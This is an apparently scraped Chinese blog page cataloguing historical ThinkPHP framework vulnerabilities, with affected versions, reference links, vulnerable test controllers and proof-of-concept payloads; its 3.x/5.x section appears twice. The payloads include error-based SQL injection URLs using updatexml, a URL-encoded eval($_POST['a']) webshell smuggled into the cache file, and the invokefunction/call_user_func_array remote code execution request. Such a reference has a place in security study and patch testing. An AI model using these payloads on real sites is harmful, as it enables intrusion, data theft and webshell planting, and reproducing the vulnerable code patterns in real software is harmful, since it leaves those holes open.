zoukankan      html  css  js  c++  java
  • thinkphp历史漏洞

    https://github.com/pochubs/pochubs/blob/master/ThinkPHP.md tp 历史漏洞

    路由控制類RCE
    /think/App.php

    if (!preg_match('/^[A-Za-z](w|.)*$/', $controller)) {
    throw new HttpException(404, 'controller not exists:' . $controller);
    }

    變量覆蓋RCE
    /think/Request.php

    if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
    $this->method = $method;
    $this->{$this->method}($_POST);


    SQL:
    1.
    漏洞影响版本: 5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 。

    $username = request()->get('username/a');
    db('users')->insert(['username' => $username]);


    2.
    5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)。

    $username = request()->get('username/a');
    db('users')->where(['id' => 1])->update(['username' => $username]);
    return 'Update success';


    3.
    ThinkPHP 中存在的 SQL注入 漏洞( select 方法注入)。ThinkPHP5全版本 。

    $username = request()->get('username');
    $result = db('users')->where('username','exp',$username)->select();
    return 'select success

    ';


    4.。漏洞影响版本: ThinkPHP=5.0.10 。

    漏洞环境

    $username = request()->get('username/a');
    $result = db('users')->where(['username' => $username])->select();
    var_dump($result);


    5.

    漏洞影响版本: 5.1.16<=ThinkPHP5<=5.1.22 。

    $orderby = request()->get('orderby');
    $result = db('users')->where(['username' => 'mochazz'])->order($orderby)->find();

    6.
    漏洞影响版本: 5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。

    $options = request()->get('options');
    $result = db('users')->max($options);
    var_dump($result);


     

    文件包含
    5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10。

    public function index()
    {
      $this->assign(request()->get());
      return $this->fetch();

    一、3.x

    使用方法

    cd /var/www/tp3

    ThinkPHP3.2.3_缓存函数设计缺陷可导致Getshell

    标题ThinkPHP5.0.10-3.2.3缓存函数设计缺陷可导致Getshell
    时间 2017-08-09
    版本 <= 3.2.3
    文章链接 https://xz.aliyun.com/t/99

    ThinkPHP3.2.3_最新版update注入漏洞

    标题Thinkphp3.2.3最新版update注入漏洞
    时间 2018-04-16
    版本 <= 3.2.3
    文章链接 https://www.anquanke.com/post/id/104847

    ThinkPHP3.2.X_find_select_delete注入

    标题thinkphp3.2 find_select_delete注入
    时间 2018-08-23
    版本 <= 3.2.3
    文章链接 https://xz.aliyun.com/t/2631
    https://xz.aliyun.com/t/2629

    ThinkPHP3.X_order_by注入漏洞

    标题ThinkPHP 3.X/5.X order by注入漏洞
    时间 2018-08-29
    版本 <= 3.2.3
    文章链接 https://mp.weixin.qq.com/s/jDvOif0OByWkUNLv0CAs7w

    二、5.x

    使用方法

    cd /var/www/tp5

    ThinkPHP5_SQL注入漏洞&&敏感信息泄露

    标题ThinkPHP5 SQL注入漏洞 && 敏感信息泄露
    时间 2017-07-03
    版本 < 5.0.9
    文章链接 https://xz.aliyun.com/t/125 
    https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html

    测试方法

    git checkout 02f8e8a

    测试代码

    public  function testsql()
    {
      $ids = input('ids/a');
      $result = db('user')->where('id', 'in', $ids)->select();
      var_dump($result);
    }

    POC

    testsql?ids[0,updatexml(0,concat(0xa,user()),0)]=1231

    结果

    20170703.png

    ThinkPHP5.0.10-3.2.3_缓存函数设计缺陷可导致Getshell

    标题ThinkPHP5.0.10-3.2.3 缓存函数设计缺陷可导致Getshell
    时间 2017-08-09
    版本 < 5.0.11
    文章链接 https://xz.aliyun.com/t/99

    测试方法

    git checkout 094dde5

    测试代码

    public function add()
    {
       $user = input('post.');
       $m=db('user')->where(['id'=> 1])->insert($user);
    }
    
    public function cache()
    {
       $m = db('user')->select();
       Cache::set('name',$m,3600);
    }

    POC

    post data:
       username=%2F%2F%0D%0A%24a%3Deval(%24_POST%5B%27a%27%5D)%3B%23
    注:%2F%2F%0D%0A = //+回车

    结果

    img

    img

    img

    其中文件路径和名称是 b0+68931cc450442b63f5b3d276ea4297 而

    md5('name') = b068931cc450442b63f5b3d276ea4297

    ThinkPHP框架5.0.X_sql注入漏洞分析

    标题ThinkPHP框架 5.0.x sql注入漏洞分析
    时间 2018-04-09
    版本 < 5.0.16
    文章链接 https://xz.aliyun.com/t/2257

    测试方法

    git checkout 7c13757

    测试代码

    public  function testsql()
       {
           $username = input('get.username/a');
           db('user')->where(['id'=> 1])->insert(['username'=>$username]);
       }

    POC

    testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1

    结果

    img

    ThinkPHP5.X_order_by注入漏洞

    标题ThinkPHP 3.X/5.X order by注入漏洞
    时间 2018-08-23
    版本 <= 5.1.22
    文章链接 https://mp.weixin.qq.com/s/jDvOif0OByWkUNLv0CAs7w

    测试方法

    git checkout 35e9878

    测试代码

    public  function testsql()
    {
      $order = input('get.order');
      $m = db('user')->order($order)->find();
      var_dump($m);
    }

    POC

    testsql?order[id`|updatexml(1,concat(0x3a,user()),1)%23]=1

    结果

    img

    ThinkPHP5.X_远程代码执行

    标题ThinkPHP5.X 远程代码执行
    时间 2018-12-10
    版本 5.0.5-5.0.22
    5.1.0-5.1.30
    文章链接 https://xz.aliyun.com/t/3570
    https://paper.seebug.org/760/
    https://paper.seebug.org/770

    测试方法

    git checkout 4fefa5e

    测试代码

    public  function index()
       {
           //...无需实际代码
        }

    POC

    index?s=index/	hinkcontainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

    结果

    img

    一、3.x

    使用方法

    cd /var/www/tp3

    ThinkPHP3.2.3_缓存函数设计缺陷可导致Getshell

    标题ThinkPHP5.0.10-3.2.3缓存函数设计缺陷可导致Getshell
    时间 2017-08-09
    版本 <= 3.2.3
    文章链接 https://xz.aliyun.com/t/99

    ThinkPHP3.2.3_最新版update注入漏洞

    标题Thinkphp3.2.3最新版update注入漏洞
    时间 2018-04-16
    版本 <= 3.2.3
    文章链接 https://www.anquanke.com/post/id/104847

    ThinkPHP3.2.X_find_select_delete注入

    标题thinkphp3.2 find_select_delete注入
    时间 2018-08-23
    版本 <= 3.2.3
    文章链接 https://xz.aliyun.com/t/2631
    https://xz.aliyun.com/t/2629

    ThinkPHP3.X_order_by注入漏洞

    标题ThinkPHP 3.X/5.X order by注入漏洞
    时间 2018-08-29
    版本 <= 3.2.3
    文章链接 https://mp.weixin.qq.com/s/jDvOif0OByWkUNLv0CAs7w

    二、5.x

    使用方法

    cd /var/www/tp5

    ThinkPHP5_SQL注入漏洞&&敏感信息泄露

    标题ThinkPHP5 SQL注入漏洞 && 敏感信息泄露
    时间 2017-07-03
    版本 < 5.0.9
    文章链接 https://xz.aliyun.com/t/125 
    https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html

    测试方法

    git checkout 02f8e8a

    测试代码

    public  function testsql()
    {
      $ids = input('ids/a');
      $result = db('user')->where('id', 'in', $ids)->select();
      var_dump($result);
    }

    POC

    testsql?ids[0,updatexml(0,concat(0xa,user()),0)]=1231

    结果

    20170703.png

    ThinkPHP5.0.10-3.2.3_缓存函数设计缺陷可导致Getshell

    标题ThinkPHP5.0.10-3.2.3 缓存函数设计缺陷可导致Getshell
    时间 2017-08-09
    版本 < 5.0.11
    文章链接 https://xz.aliyun.com/t/99

    测试方法

    git checkout 094dde5

    测试代码

    public function add()
    {
       $user = input('post.');
       $m=db('user')->where(['id'=> 1])->insert($user);
    }
    
    public function cache()
    {
       $m = db('user')->select();
       Cache::set('name',$m,3600);
    }

    POC

    post data:
       username=%2F%2F%0D%0A%24a%3Deval(%24_POST%5B%27a%27%5D)%3B%23
    注:%2F%2F%0D%0A = //+回车

    结果

    img

    img

    img

    其中文件路径和名称是 b0+68931cc450442b63f5b3d276ea4297 而

    md5('name') = b068931cc450442b63f5b3d276ea4297

    ThinkPHP框架5.0.X_sql注入漏洞分析

    标题ThinkPHP框架 5.0.x sql注入漏洞分析
    时间 2018-04-09
    版本 < 5.0.16
    文章链接 https://xz.aliyun.com/t/2257

    测试方法

    git checkout 7c13757

    测试代码

    public  function testsql()
       {
           $username = input('get.username/a');
           db('user')->where(['id'=> 1])->insert(['username'=>$username]);
       }

    POC

    testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1

    结果

    img

    ThinkPHP5.X_order_by注入漏洞

    标题ThinkPHP 3.X/5.X order by注入漏洞
    时间 2018-08-23
    版本 <= 5.1.22
    文章链接 https://mp.weixin.qq.com/s/jDvOif0OByWkUNLv0CAs7w

    测试方法

    git checkout 35e9878

    测试代码

    public  function testsql()
    {
      $order = input('get.order');
      $m = db('user')->order($order)->find();
      var_dump($m);
    }

    POC

    testsql?order[id`|updatexml(1,concat(0x3a,user()),1)%23]=1

    结果

    img

    ThinkPHP5.X_远程代码执行

    标题ThinkPHP5.X 远程代码执行
    时间 2018-12-10
    版本 5.0.5-5.0.22
    5.1.0-5.1.30
    文章链接 https://xz.aliyun.com/t/3570
    https://paper.seebug.org/760/
    https://paper.seebug.org/770

    测试方法

    git checkout 4fefa5e

    测试代码

    public  function index()
       {
           //...无需实际代码
        }

    POC

    index?s=index/	hinkcontainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

    结果

    img

  • 相关阅读:
    js/Jquery table 内部控件计算和tr的生成
    反射 实体类的赋值/取值问题
    C#读取Excel 几种方法的体会
    水晶报表升级遇到的问题
    使用异或位运算符实现交换两个整数详解
    美国宇航局两万兆数据存储方案下载
    Flash全屏(转载)
    Unity3D实现动态加载游戏资源
    C#,ASP.NET jquery uploadify上传控件中文乱码解决办法
    HTML通过button触发inputfile控件上传文件的问题
  • 原文地址:https://www.cnblogs.com/0xdd/p/11102426.html
Copyright © 2011-2022 走看看